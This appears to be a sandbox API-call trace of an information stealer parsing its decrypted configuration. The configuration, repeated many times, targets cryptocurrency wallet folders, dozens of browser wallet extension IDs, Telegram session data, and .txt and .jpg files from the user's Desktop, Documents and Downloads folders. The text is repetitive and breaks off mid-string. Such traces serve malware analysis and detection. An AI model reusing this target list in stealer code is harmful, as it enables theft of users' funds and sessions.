Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.248] lstrlenW (lpString="elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4085 [0266.248] LocalAlloc (uFlags=0x40, uBytes=0x206a) returned 0x6fc408 [0266.248] StrCpyW (in: psz1=0x6f1ee8, psz2="26" | out: psz1="26") returned="26" [0266.248] LocalFree (hMem=0x6fc408) returned 0x0 [0266.248] StrStrW (lpFirst="Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.249] lstrlenW (lpString="elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4085 [0266.249] LocalAlloc (uFlags=0x40, uBytes=0x206a) returned 0x6fc408 [0266.249] StrCpyW (in: psz1=0x6f4830, psz2="Electrum-LTC\\wallets" | out: psz1="Electrum-LTC\\wallets") returned="Electrum-LTC\\wallets" [0266.249] LocalFree (hMem=0x6fc408) returned 0x0 [0266.249] StrStrW (lpFirst="*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension 